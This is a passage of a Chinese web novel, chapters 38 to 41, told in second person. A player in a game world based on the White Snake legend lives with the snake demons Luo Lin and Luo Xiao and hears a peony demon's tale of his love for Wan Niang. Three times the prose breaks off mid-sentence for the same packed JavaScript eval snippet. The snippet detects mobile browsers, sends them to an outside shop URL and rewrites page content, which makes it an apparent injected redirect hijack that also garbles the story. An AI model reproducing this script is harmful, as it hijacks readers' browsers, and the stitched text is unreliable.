“这样好么?我上次借船避雨,本就欠了一次人情。这次又……会不会太麻烦了?” “怎么会麻烦,况且上次娘子不也说,若我和洛骁在杭州做生意的话,要来给我们帮忙么?眼下生意未成,先到这儿帮着料理宅子,也是一样的。” “那……那好吧。” “娘子,同意了?”洛霖再三确认。 “嗯。”你点头,笑着说:“接下来的日子,还请官人多多照顾了。” “好。”洛霖说。 看着你笑,他胸腔中某种惶惶焦虑的情绪也随之消散了。 洛骁并不意外事情会朝着这个方向发展。 他只是略带嘲弄。 “哥,五百年了,你我四处漂泊,从不敢在一处久留,更不敢与人过多交往。怎么这一回,你倒肯为这小娘子留在杭州,还邀她住进宅中了?” “这不也正是你的主意么。” “是。这是我的主意。我实在厌你性格软弱,宁愿东躲西藏,也不肯放手一搏。我过腻了这样的生活。你说这是定数,我却不信。我想看看,你会不会为了她,破一破这所谓的定数。” 结果是洛骁赢了。 显而易见的。 “这结果真是大出我所料。哥,你竟真为了一个才见两面的小娘子,破了你五百年的坚守。”洛骁满是好奇,“接下来该如何?留着她在身边,同处一个屋檐下,抬头不见低头见。届时,情根深种,再难拔除,你舍得离开?还是……你起了想要同她一生一世的妄念?” “我没想那么多。” “真的吗?”洛骁紧问。 才两次面,洛霖就已到这地步,他不信他心里没动过这个念头。 “我真的没想那么多。” 洛霖再次回答。 他回答时表情那样坦荡,一览无余。 洛骁知道,洛霖所说是真。 洛霖遥望某个方向,眼神无限缱绻。 “那一刻,我只是想,我不想她走,不想同她就此别过。至于以后如何,我没有想过。” 另一边。 你住进洛霖为你安排的厢房,正躺在床上望着帐顶发呆。 今天跟洛霖说的什么没找着工作要回乡下去,那都是你胡口乱诌的。 不,说胡口乱诌也不合适,毕竟你是有备而来。 要攻略目标人物,当然就得找个理由和他们多接触。 于是,在到达杭州之后,你根据十方谛听珠的指引,找到了西湖。 那个雨天,你原本是想在湖边等着,等洛霖洛骁上岸了,再找个理由过去搭话的。 38. 因果 等着等着,绵绵细雨竟越下越大,那会儿你都想着要不然算了,先找个地方避避雨再说。 可没想到的是,洛霖洛骁的船却在你预备走时,先一步靠岸,洛骁甚至还主动邀请你到船里避雨。 事情的进展比你想象中还要顺利。 洛霖见你被雨淋成落汤鸡,主动借你一件衣衫,即便下船后也未曾要回。你便借着这个为由头,说回去把衣衫洗干净后亲自登门送还。 你为自己争取来与他们第二次接触的机会,可这第二次接触完之后呢?你又该以什么理由继续接近他们? 西湖同舟时,你看得出来,洛霖对你一直保持一种很羞涩的状态。你想,他或许是对你有点意思。 于是,今天你便编了这样一个谎话,说自己在杭州找不到工作,即将要回乡下去了。你想以此来试探洛霖的态度。 试探完之后,你发现事情进展都不能用顺利来形容了,那简直叫一帆风顺。 洛霖不仅开口挽留了你,还主动留你在身边工作,让你住到他家里来。 这下你完全不用担心要怎么跟他们接触这个问题了。 情人泪这一任务,你想,你可以很快便完成。 只是,有一处你还想不明白。 情人泪,是情人的眼泪。可眼泪又分很多种,有喜极而泣的眼泪,有悲伤欲绝的眼泪,有不舍别离的眼泪。 这任务要的,到底是哪一种? 还是说,只要是眼泪就可以? 还有,洛霖洛骁是两个人,他俩之中,到底哪个才是你的攻略人物? 总该不会,又像之前那个支线任务一样,要你脚踏两条船吧。 你一把将被子蒙过脑袋,发泄似的大喊了一声,恨不得就这样把胸中的郁闷全都喊出来。 任务随着等级的升高会越变越难,这一点你很能理解。 可是,你现在才16级,不是160级啊! 五百年前龙血菩提果失窃的真相。 白蛇传与剧情设定有什么关联。 要怎么才能引洛霖、洛骁上昆仑。 双全法怎么完成。 情人泪又是什么眼泪。 一连串的问题缠成一团乱麻,有种很想解开,又不知从何下手的无力感油然而生。 好烦啊啊啊啊—— 你这声鬼哭狼嚎般的呐喊,把那正在外头推心置腹的俩兄弟给吓了一跳。 洛霖几乎是立刻要动身去看你情况,好在洛骁及时拉住了他这不理智的哥哥。 “男女有别,你这么贸然前往,也不怕惊到了人小娘子。” 洛骁有些无语。他以前觉得他大哥成日念叨着的什么天意定数,指的是那件事。 现在看来,他的天意定数,应该是他会栽在一个才见了两次面的小娘子身上才对。 洛霖仍是放心不下,“我……我还是去看看罢。” 洛骁:“……” 洛骁强忍住叹气的冲动,“哥,你是个修炼了一千五百年的大妖,当年又得龙血菩提果淬炼筋骨,只要你愿意,神识便能覆盖方圆数里,其间任何一点风吹草动都瞒你不过。如今小娘子就在你眼皮子底下待着,她有事没事,你难道感觉不出来?” 洛骁这一说,才堪堪将洛霖的理智拉回来了一些。 洛霖立在原地,凝神细听了会儿,确认你在那声鬼哭狼嚎后,没再有别的动静,这才真正放下心来。 看着洛霖这副方寸大乱的模样,不知怎的,洛骁竟隐隐产生了一种类似后悔的想法。 在西湖时,是他主动招风唤雨,摇船前去同你搭话。 又是他在洛霖预备与你别过时,抢先告诉了你他们在清波门的住址。 严华经有言:一切诸果,皆从因起;一切诸报,皆从业起。 如今因已种下,来日会结出什么样的果,还不得而知。 月光透过轻薄的鳞状云层洒落天幕,晚风送来几声倦鸟低鸣。俗语说,天上鲤鱼斑,明日晒谷不用翻。想来明天应会是个大晴天。 洛霖虽以请你帮忙料理宅子为由,将你留了下来,但你真正留下后,他却没有让你做什么事情。 你白天里不是吃就是睡,不然就是跟着他兄弟二人到市集去东逛逛西逛逛,晚上就窝在自己的小房间里想想怎么做任务。 游戏里的日子不记年岁,你过得那叫一个乐不思蜀,你甚至都觉得自己当初借口找的都不是份工作,而是找了个爹。 这个爹不仅管你吃管你住,还按时给你发粮。 如果以后毕业也能找到这么舒坦的工作就好了。 你现在已经大二,下学期大三,时间转瞬即逝,大三之后又大四,大四之后就要去实习。 哎!想想都叫人感慨啊! “这些书都是你从川蜀带来的吗?” 这天趁着天晴,洛霖要将书房里的书搬到院子晒,你也跟着过去帮忙了。 看着一本本书整齐有序的铺排在院子里,你不由发出一声感叹。 洛霖闻言道:“一些是,一些不是。” 就算排除不是的部分,剩下那些是的数量也很多了。 古代本就不比现代的交通发达,况且川蜀距离杭州又是山长水远,洛霖是怎么做到一边长途跋涉,一边携带这么多书的? 噢,也不对。 古代交通没那么便利没错,但这不是普通的古代啊,这是个志怪背景下的古代世界! 在这里,有神鬼,有妖魔,有一切不同于现实生活的奇幻而又瑰丽的事物。 洛霖在这个背景里,是一只由蛇修炼成人的妖,他拥有着常人所没有的法力,自然也就不用同常人一般用脚力跋山涉水。 他可以腾云驾雾,他可以飞啊! 这些书看着是多,但他挥一挥手不就能尽数收入袖中了么? 咳咳……电视剧里都这么演的。 你的思绪越飞越远,差点如断线风筝飞上九重云霄。 你赶忙收线拽回风筝,说道:“官人一定是个爱书如命的人。” “不必叫我官人,叫我名字就好。” 洛霖修长匀净的手指轻轻抚摸过一页书纸,微微笑道:“书若没人观看,便如同死物没了价值。而长时间放置一处不去管理,又会字墨褪色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127410|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纸张泛黄,变作枯叶般脆弱。既然如此,倒不如将它们带在身边,时时翻检,常读常新。” 故事背景变了,身份设定变了,但洛霖这个人却没有变。 你记得他之前还是侯府公子的时候,家里也有个很大的书房,里头也珍藏有很多的书。 这些书里,甚至还有你爱看的宫廷风流秘史、霸道王爷抢占小厨娘这类不正经的书。 蛇妖,侯府公子。 多像一个人的前世与今生啊。 这一世,你是仙童收的弟子,他是蛇妖,你带着目的下山,刻意接近他。 下一世,你是官员小女,他是侯府长子,你们因缘订婚,却又因缘分开。 “娘子怎么这般看着我?” 一不留神,你竟定定盯着洛霖看很久了。 洛霖被你看得有些不好意思,白玉似的耳垂都泛起了红。 你赶忙道:“啊,不好意思,我刚刚在想事情,想着想着就忘了神。” 洛霖柔声问道:“娘子在想什么?” “你方才不是说让我不要叫你官人了么,怎么你自己还一口一个娘子的叫我。” 白蛇传的故事发生在宋朝,这时男女互相称呼用的是官人和娘子。称呼这点你原先并不知道,还是下昆仑来杭州时,于途中听闻的。 虽说是清楚娘子只是普通人间的一种称谓,你也早听习惯了,可不知道怎么回事,这会儿听着洛霖用他那温润的嗓音叫你娘子,你竟觉得心口莫名有些刺挠。 娘子。 在现代人的你看来,娘子的意思就跟老婆差不多。 啊啊啊,不行不行,你今天是怎么了,怎么脑子里尽是一些乱七八糟的想法。 来,深呼吸,冷静。再深呼吸,冷静冷静。 你咧开嘴,露出一个礼仪小姐般的标准笑容,“官人还是叫我小春吧。” ……这还是没冷静下来啊。 “不,是洛霖。洛霖你叫我小春就好。”你施展转移话题大法,“我刚才其实是在想,川蜀那边是怎样的,有什么风土人情。” “……是么。”洛霖忍着笑意。 你点头如捣蒜,“是啊是啊。你也知道的,我一乡下出来的小村姑,自小没见过什么世面,去过最大最繁华的地方就是杭州了。从前在乡下时,我就听闻川蜀一带山灵水秀,人杰辈出。我想着你既也是从那里来,便想问问那里是否真如传闻中所说。” “川蜀确实山灵水秀,要我说,一时也不知从何说起的好。日后……如有机会,我陪你一同前去看看吧。” “真的么?” “真的。”洛霖说。 这是一个约定。 做出这个约定时,洛霖其实也不知晓这样是否合适。但深入情沼的人本就难以自拔,越是挣扎越是陷得深,若反之不动,又会慢慢沉沦。 他不想挣扎,只想沉沦。 雨后的天气是那样的好,阳光明媚,万里无云,就连空气中都漂浮着一种平静的气息。 他想,他愿意做一只飞蛾。 哪怕前路织有蛛网,危机四伏,也心甘情愿撞上去。 39. 副本 …… …… “小春,同我一起到市集去走走吧。”洛骁忽然说。 你问:“昨天不才去过么,怎么今天又要去?” 洛骁翘着二郎腿,自从你住进来之后,他对待你就不像先前那么热情周到了,他开始展现出某种“毒舌”特性。 “你昨天才吃了饭,今天不也要吃么?” 你翻了个白眼,“那你总得告诉我出去是要干嘛的吧。” 洛骁对你推推拖拖的态度颇为不满,“我不是说了么,到市集去走走。” “只是走走?” “只是走走。” “那我不去。”你小小的报复。 “为什么?” “不为什么,就是懒得去。” 洛骁了然,“如果是我哥叫你去,你去吗?” “这关洛霖什么事?”你拧眉,“况且他不是去淳安了么?” 淳安是隶属杭州府下的一个县,那儿有个瀛山书院声名颇望。这个书院建于北宋熙宁年间,刚开始的时候叫银峰书堂,是邑人詹安为教导族内子弟所建的家塾。 后因詹安育才有方,亲授五子,皆登科第,吸引各方学子纷纷慕名前来求学,便将银峰书堂更名为双桂书堂。直至南宋,詹安的侄孙詹骙高中状元,家族为取“登瀛”之意,又将双桂书堂更名为瀛山书院。 洛霖平日里除热爱读书外,对求学问道也是颇为热忱。近日听闻有位大学者将赴瀛山书院传道讲学,他心里便满是期待,又因清波门离淳安相去甚远,走水路最快也得要三天时间。为了不错过这次难得的讲学机会,洛霖几日前便收拾行李,动身前往淳安了。 洛霖一走,这间清波门最大最漂亮的宅子就剩下了你和洛骁。 时间仿佛被按下了暂停键,洛骁在这样无所事事的日子里倍感百无聊赖。 洛骁往交椅靠背一躺,“我知道他去淳安了,所以我才说的是如果。” “你为什么要说这个如果?你这么说,好像只要是洛霖跟我提了,我就会答应。” “难道不是么?” 你说不上来是或者不是。 洛骁嘴角勾起一个笑容,却又很快压了下去,“你的家乡是怎么样的?”他忽然换了个话题。 “我不是说过了么,只是个很普通的村落,不值一提。”这是个谎话,也是个借口。 “普通。”洛骁轻念了一句,说:“其实哪里都是普通,只不过普通的方式不同罢了,就算偶有新意,待得久了,新意也会变得无趣。就像这杭州城。自古以来,都说上有天堂,下有苏杭,可我来了这么久,却并不觉得苏杭有哪里比得上天堂。或许也是我从未去过天堂的缘故,但说出上有天堂,下有苏杭的那个人难道就去过么?” “在我看来,苏杭无非也就是山山水水,天气晴朗时,山山水水看着倒还可爱些,天气不好时,便是接连一月的梅雨,到了冬天,冷气入髓,透骨生寒,山也变得不是山,水也变得不是水。” 这小子叽里咕噜的说什么呢? 前面大部分你都没怎么听懂,不过最后两句你倒是抓住了重点。 你笃定道:“洛骁,你不喜欢冬天,对吧?” 蛇是变温动物,一到冬天体温便会随着气温下降,新陈代谢也跟着变慢起来,这时候的蛇类大都行动迟缓,困乏嗜睡。 洛骁有千年修为在身,不必同寻常蛇类一般陷入冬眠,可一些印刻在基因里的天性却是无法避免的。 洛骁被你说中了,脸色一僵,哼哼说:“我不但不喜欢冬天,我还不喜欢夏天。尤其是天气炎闷的夏天。” 哎,这也不喜欢,那也不喜欢,这人怎么这么难伺候。 扯了这么久也够了,你索性说:“走吧。” “走去哪儿?”洛骁脱口道。 你用看傻子的眼神看他,“不是你说要到市集去走走的么?” 洛骁眼睛一转,“我不去了。” 他又闹什么脾气呢。 洛骁快速加上一句,“除非你求我。” 敢情是在这儿设陷。 你毫无负担,“我求你,好了吧?” 洛骁这才矜贵的点了一点头。 市集早走了不知几遍,走到哪里会有什么摊位,也早就了然于心。真如洛骁所说,有趣的地方待得久了,也会变得无趣。 不过,这次却有些不同。 彼时你正在一个摊位前看一支银钗,这银钗倒不是有什么特别,只是你觉得它刚好有点像第二关上元夜时,方鸿渐送你的那支。 洛骁站在你旁边,忽然扯了一扯你袖子。 “干嘛?”你问。 “看那儿。” “哪儿?” 洛骁直接上手掰你脑袋,“就是那儿,看见了没,那儿有个和尚。” “和尚怎么了……”你嘀咕,却又猛然停住。 和尚。 白蛇传里最出名的和尚还有谁? 不就是法海么? 你一下被勾起了兴致,忙定睛去看。 正见前方巷口拐角,站着一位身披金红袈裟、手持金漆法杖的和尚,他神色肃穆,正受着一对老夫妇躬身拜谢。 洛骁如同见到了猎物一般兴奋起来,“小春,我这辈子最恨两类人,你知道是哪两类么?” 你摇头,“不知道。” 洛骁薄唇轻启,“当神仙的跟做和尚的。” 你汗颜,“你该不会是想过去找那和尚麻烦吧?” 洛骁轻哼,“什么找麻烦,不过是过去给他点教训而已。往日没见到便也罢了,今日他既主动撞上门来,算他活该。” “没缘由的,你跑上去教训人家做什么?” “我乐意。” 你怕洛骁真这样不管不顾跑上去打和尚,忙伸手拉住他,“你乐意个大头鬼,你这样随意打人,就不怕人家到府衙去告你吗?” 洛骁还真不怕这个。 你又忙加上一句,“就算你不怕,你也得想想,万一洛霖回来此事该怎么办。老虎不在家,猴子称大王,你不是猴子,总不能趁洛霖不在的这段时间就无法无天了吧?” 洛骁听到你搬出洛霖,还真没再嚷着要去打人了,只不过他还是嘴硬,“我不是猴子,洛霖也不见得就是老虎。” “好好好。”你顺着他的话哄他。 洛霖甩开你的手,“我有点事要处理,就先不陪你逛了,你先回去吧。” 他有个屁的事! 你再拉住他,“你就是骗我,也得编个好一点的理由吧?别以为我不知道你是在特意支开我,我一走,你就要去找那和尚,是不是?” 洛骁有点生气,“小春,我跟当和尚的有过节,你别管我。” “天底下的和尚这么多,今日你见一个要打一个,日后见一群是不是还要打一群了?” 白蛇传中,法海的法力可是高强到连白素贞都打不过,眼下洛霖又去了淳安,洛骁只身闯过去,万一法海识破他蛇妖的身份,直接来个金钵把他收了怎么办? 你知道这么干劝是劝不动洛骁的,于是便退一步,“事出有因,师出有名。那和尚会到这儿来,应该也是有缘由的。不如我们就先过去问问那两位老人,看看到底发生了什么事。若这件事中,和尚确有不对,那你去教训他,我不拦你。若反之,你就不能去找人麻烦。怎么样?” “那万一这其间根本没发生任何事,那和尚只是过来讨个斋饭而已呢?” 你用力一拍洛骁胳膊,“你个笨蛋!你看那和尚,又是金红袈裟又是金漆法杖的,像是会来跟人讨斋饭的样子吗?就算他真是来讨斋饭的,也应该是他谢那两位老人家,哪有老人家亲自送他出巷口,还鞠躬拜谢的道理?” 洛骁幽幽道:“你脑袋转得倒是快。” 你假笑道:“是要比你转得快些。” “就算你说得有些道理了,我又做什么非要听你的。我想找和尚麻烦,那便直接找就是了,何必又绕这么大一个圈子。” “那……那就算是我求你?” 你双手合十,眼神诚恳,“求求你了,洛骁大人,求你听我一次,这样可以吗?” 洛骁冷傲脸,“你方才那一下打得我很疼。” 屁嘞!你方才都没使尽全力,就算使尽了,凭他一千年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127411|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修为,那一下对他来说也压根不痛不痒。 他就是蹬鼻子上脸。 也罢,这会子就先顺着他。 你把胳膊递过去,痛心疾首道:“既然这样,那我就给你打回来吧。” 洛骁当然没真的打你,经过你好说歹说,他也总算没有要冲上去教训和尚了。 正如你方才所说,你们打算先找那两位老人家,问问到底发生了什么事。 一路直行,拐进巷子。 为了监督洛骁,这一路你都没有松开过他的手。而他也真的乖乖让你牵着,没有反抗。 拐进巷子后,你们还没找着那两位老人家的住所,便先有个眉目娟秀,面若好女的年轻男子找上了你们。 洛骁反拽你的手,将你拉到身后,一副如临大敌的样子。 你被这阵仗弄得心下一咯噔,敛神屏息。 该不会……是要发生什么事了吧。 “你是谁?”洛骁冷声道。 “你们又是谁?”那男子声音幽若深谷,“你们……也是晚娘父母找来的人么?” “什么晚娘早娘的,我不认识。”洛骁说话一点都不客气。 男子将洛骁细细打量了一番,“是我糊涂了……” 稍顿,察觉到洛骁不善的目光,男子又道:“既然二位并非晚娘父母所托之人,那在下便不多打扰了。” “等等!”洛骁开口叫住男子,而后面的话却是对你说的,“看来此间真如你所说,是发生了些事情。” “刚才那个和尚,就是你口中说的那个晚娘的父母找来的吧?好端端的,他们找个和尚来做什么?”这话则是在问那男子了。 男子闻言微微一笑,“既然阁下与此事无干,又何必要深究呢?” “谁说我和这事无干了?我这个人生平最讨厌和尚,方才见到那和尚,本是准备过去狠狠教训一顿的,可偏偏有个爱管闲事的人拦住了我。” 那个爱管闲事的人就是你。 你抬头望天,充耳不闻。 洛骁哼笑,“那个爱管闲事的人跟我做了个约定,说那和尚到这儿来做的,若是些不合情理的事,就由我去教训他。若反之,我便就此作罢。所以,这件事我定是要深究到底了。” 男子稍作迟疑后,竟径自跪下,“红芍恳请二位出手相助。” 不是吧,这是真遇上事了啊? 你倍感震惊,洛骁倒是一副无所谓的样子。 你忙上前去想扶起红芍,他却固执不肯起身。 你没办法了,只好温声劝道:“有什么话可以好好说嘛,不要这样。” 红芍伏身一拜,“此事我已无计可施,二位若愿插手,便听我将事情原委一一道来,听完后再请辨是非对错。” 看来这件事颇有来历了。 原本你就是想找个借口,拦着不让洛骁去找和尚撒气的,没想到竟然牵扯出一个副本来。 事已至此,就算你想撒手不管,也不可能了。 你叹了口气,对红芍说:“我们这样太引人注目了,还是找个地方再慢慢说吧。” 你们来到了西湖。 西湖水波粼粼,清风徐徐。 那是一个并不复杂,却跨越两百年时光的故事。 在讲述起这段故事之前,红芍先向你们表明了身份——他并非是人,而是一个修炼了两百年的芍药花妖。 两百年前宋朝还未实现一统,那时候的中原大地尚处于四分五裂、战乱不休的状态。后史书上称这个时期为五代十国。 那时候的晚娘还不叫晚娘,她只是受战乱侵扰的芸芸众生中的一个。 而红芍也不叫红芍,他甚至还没有名字,他只是一朵初开灵智,于皲裂干涸的大地中艰难生长的红芍花。 他们的故事开始于战乱年代,他们的相遇也由一场战乱而起。 五代十国,分中原五代和南方十国。那时候,中原政权不稳,南方则相对安宁。中原五十三年间先后经历了后梁、后唐、后晋、后汉、后周五个时期,政权更迭皆靠战争,中原大地也因此满目疮痍,百姓流离失所。在又一次经历战乱后,晚娘和家人决定南下避乱。 40. 前尘 南下避乱四字说起来容易,真正实施却是万分艰辛,除了路途遥远外,还要面对藩镇设阻、水土不服、瘟疫横行等诸多问题。那时候,像晚娘一家选择南下的人有很多,但他们大多去时浩浩汤汤,未到中途便死者过半。 晚娘一家也不例外。 那是一个春天。一个充满了死寂的春天。 残寒未尽,由于数日来的日夜兼程、风餐露宿,晚娘的身体已变得十分虚弱,而他们身上为数不多的钱财也在这个途中消耗殆尽,为了避开过县时要强制征缴的过路费,晚娘一家决定改走山路。 山路难行,入夜后寒气更深。 抬头去望,竟不见半粒星子。 晚娘死死拽着身上残破单薄的衣衫,眼皮如坠千斤,她感觉很累了,从所未有的累,真想就这么无忧无虑的睡过去。可是不能。 晚娘始终强撑着一口气,像自己跟自己较劲。她强打精神,不让自己就这么睡过去。她知道,这一睡,将再无醒来之日。 “……你,是一朵花,对么?” 这句话真傻。毫无意义。 为了保持清醒,晚娘竟对身边的一朵花说起了话。 那花瘦骨嶙嶙的枝干从大地缝隙中奋力挣出,披针形的枝叶卷曲发黄,明明看着同她一样孱弱,却仍在料峭的寒风中舒展着一丝生机。 “我没见过你这样的花,也不知道你叫什么名字。” 晚娘声音低弱断续,如风中残烛,一吹即灭。 “我也不知道我要说什么……我好像很多话要说,可话到嘴边又不知道该说什么了……我总问我娘,我问她,娘,这条路我们究竟还要走多久?我每次这么问,她都要沉默很久、很久,直到她哭了,抱着我,眼泪一颗颗砸在我头顶上,我才听见她说,快了,快了。” “可快了,究竟是多久?是十天?半个月?还是一年?我不知道,也没人告诉我,我娘死了……就在不久前。我娘死后,我就再也没问过这问题。我想,今后也不必再问了。” 看着花,花不语,只是静静聆听。 眼前的一切被分割成大小不一、形状各异的光斑。 一滴泪水滑落,砸在尘土里。 紧接着,又是一滴,一滴。 “啊,你渴吗?这个春天,已经很久没下过雨了。” 晚娘哆嗦着拿出一个老旧的葫芦瓢,将里头的水一点点浇灌在花的根茎上。 可突然,她又停住,喃喃自语,“我真傻。你长在这林深叶密的地方,平日里也见不到什么太阳,你现下必定冷得很,我却还用冷水浇你。” 晚娘将葫芦瓢慢慢收回,面上由懊恼变作空白,这样的情绪变化,如同潮水慢慢褪去,又如白日渐渐被黑夜浸染。她脱力的往后一靠,重重呼出一团白雾。 天亮了。 晓蓝色的天空终于多了几分稀薄的阳光。 而昨天夜里那个对花自语的少女却已没了呼吸。 这个清晨,风停了,花却颤颤抖动着。 南方还未抵达,家乡已是遥不可及。 接下来的路还要继续走,晚娘的家人没办法为了她而停下脚步,只能将她埋在了那朵花旁边。 岁月悄然流转,晚娘的血肉筋骨于阴森黑暗的泥土中慢慢分解,最后化为养分滋养了花的根系。 一百五十年后,芍药花修炼成人。 又经五十年春秋,宋时杭州,他们再度重逢。 这时候的宋朝,虽也战乱频发,但整体的社会环境还是要比五代十国时期好上不少。 这一世的晚娘托生在杭州小户,因父母是老来得女,所以便给她起了“晚娘”这个名字。 晚娘和红芍杭州重逢后,很快便情投意合,如果红芍是人的话,他们这一段相遇或不失为一段良缘,可偏偏他不是。 人妖殊途,身份差异成为了他们在一起的最大阻碍。更不幸的是,一次意外中,晚娘的父母知道了红芍是妖的身份。 世人对妖成见颇深,为了不让女儿继续和妖物厮混,他们不但把晚娘锁在了家里,断绝她和红芍的来往,还专程去了寺里请来高僧收妖。 红芍不过两百年的道行,就算能修成人身,法力也并不高深。一面是父母,一面是爱人,晚娘哪一边都不愿伤害,而在得知父母请僧的举动后,她终究还是狠下决心,要与红芍断绝关系。 前来分别时,晚娘是含着泪的,她眼中满是不舍,可说出的话却又那么决绝。 “此番我与你分离,并不是我变心了,而是世道如此,非人力可以抗衡。今生我既无缘与你相守,以后也没有意愿另嫁他人。从此,我身边不再有别人,你身边也不再有别人,就让你我带着这份情意各分天涯吧。” 西湖水悠悠,向东流,过钱塘,入东海。 这是一个恒古不变的定律。 望着西湖,红芍说道:“二位可能无法想象,可那却是我真真切切经历了一百五十年的日子。那一百五十年里,我什么都没有,只有她。” “我清楚的感受过,她的皮肤是如何一点点腐烂,她的血肉又是如何被蝼蚁一点点啃咬,经年累月,最终只剩一具枯骨。我曾竭力想要为她做些什么,可我却什么都做不了,我只能拼了命的延展根系,让根须向四周生长,直至将她的骸骨完全包裹在根里。” “修炼成人后,我做的第一件事就是下山去找她。我找了整整五十年,才终于找到了她。” 或许是妖的思维与人不同,在听到红芍说起这段话时,你不由感到悚然。 你的血肉筋骨滋养了我,我的根系如茧缠裹着你。那是一段不见天日,埋于地底的不为人知的过往。 到底是什么造就了这般曲折迂回的爱情?是因为两百年前那一晚的对花自语,还是因为那一百五十年的无声陪伴。 你不得而知,也没有去问。 情不知所起,一往而深。既然不知所起,又何必要追根揭底呢? 看朱成碧思纷纷,憔悴支离为忆君。 不信比来长下泪,开箱验取石榴裙。 这首诗相传是女帝武则天在感业寺为尼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127412|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,写给唐高宗李治的情诗。 红绿不分思绪万千,我的憔悴不堪都是因为你。如果你不相信我近来一直垂泪,便请开箱取出石榴裙查验泪痕。 若是有人怀疑红芍对晚娘的情意,也请到那山间去,找到芍药花开的地方,掘一抔黄土,看看根系下方是否缠裹着一具骸骨。 红芍秀逸的面容满是平静,“三日后,我约了晚娘在她房门前相见。” 你叹息,“那位和尚,也将在三日后如约登门,是吗?” “是。” “你在以死相逼,她会很为难的。” “我无意要她为难,我只是想,如果她不要我,那我也没什么活下去的必要了。” “可比起死,你更想活着和晚娘厮守终生,不是吗?否则的话,你不会要请我们来帮你对付和尚。” 红芍默然。 “其实你也很清楚,真正迫使晚娘做出这个决定的,从来不是那个和尚,而是她的父母。她父母无法接受你妖的身份,她又无法为了你而抛弃父母。就算三日后,我们替你赶走了那和尚,晚娘也不会选择继续跟你在一起的。” 自古恩义两难全,在爱人和家人之间,晚娘最终选择了家人。红芍自知他是被放弃的那一个,可他却不愿意接受这个结局,他始终还抱有一种幻想:或许将那和尚赶跑,晚娘便可以再没阻碍的和他在一起;或许真到了将死的那一刻,晚娘会念及旧情,心生动容。 洛骁已经没有耐心再听下去了,“你们在一起还是分开,是你们的事,我不关心。只是这和尚放着他的般若心经不去念,非要跑来插手他人的闲事,委实可恶。三日后,我会亲自来会一会他。” 说完,洛骁拉着你离开。 他走的很快,你跟得有些吃力。 “你真要去会那和尚?” “妖为什么要修炼成人?” 你二人不约而同的发问。 “什么?” 洛骁猛地停住,你一时没刹住脚步,撞上他的背。 你吃痛的捂住鼻子,却见洛骁面如沉水。 “你说,妖为什么要修炼成人?明明可以靠四条腿走路,却非要学人两条腿走;明明可以山野间一身轻盈,却非要披上人的厚重皮囊。世间万物,各分其类,既然成了人的样子,为什么又不满足,偏要涉足人与人的情爱。” 他是受什么刺激了? 妖修炼成人这一说,你之前都只当故事来看,至于为什么,你倒从没想过。 你想了一想,说:“或许是因为不管是人还是妖,都有一颗对未知事物的向往之心吧。妖没有做过人,看见人世间的繁华、诗歌、哀乐,便心向往之。人不曾为妖,看见飞禽,会想生出翅膀翱翔天际,看见走兽,也想学它们四足驰骋山林。” “可子非鱼,焉知鱼之乐?子非鱼,所以看见鱼游在水里,会觉得它们优哉游哉很快乐。子如果是鱼,或许会发现鱼并不如表面那般自在,有可能它还很慌张,因为在不远处,有一只比它更大更凶猛的鱼正蛰伏着,要伺机吃了它。” 41. 对峙 “同理,鱼非子,方会向往人间,可真入了世,才知道人间不只有繁华诗歌,也有贫穷恶语,还有诸多的规矩,使人不能随心所欲。” 洛骁道:“那照你这个说法,不论是人还是妖,终其一生,都不过是在追求他们不曾拥有的东西?” 你摸了摸鼻子,“事情毕竟还是不能同一而论嘛。” 洛骁又道:“就按照你方才的想法,你说说,你的追求又是什么?” “当然是钱啊!”你毫不犹豫,“我想要很多很多钱。” 洛骁不屑,“无趣。” 你更不屑,“我要收回我方才的话,我现在觉得世间所有,不论是人还是妖,一辈子所追求的,就是自己不曾拥有的东西。” “你怎么又改了主意?” “因为你!”你指着洛骁,“我没有钱,所以我想要很多很多钱。你有钱,你不用为生活烦恼,不用担心会吃了上顿没下顿,所以你看不起满眼是钱的人。你拥有,所以你不追求。” 洛骁气急,“我哪里看不起你了?再说,难道我没给钱你花,我让你吃上顿没下顿了?” “我们说的根本都不是一件事。” “怎么就不是了?你看看你,自从你到清波门住下后,每天是吃也不愁喝也不愁,连带着人都胖了许多……” 你一把捂住洛骁的臭嘴,“你才胖,你全家都胖!” 洛骁嗡嗡的说:“我和我哥一点都不胖。” “是是是,你最瘦了,美死你了。”你松开他,“现在该换你回答我的问题了,三日后,你真要去见那和尚?” “当然。我已经说出口的话,难道还作得假么?” “我已经说得很清楚了,真正阻隔在红芍和晚娘之间的,从来不是那个和尚,而是他父母对红芍是妖的身份的成见。如果晚娘的父母不接受红芍,就算你赶走了那和尚,他们也不会在一起的。” 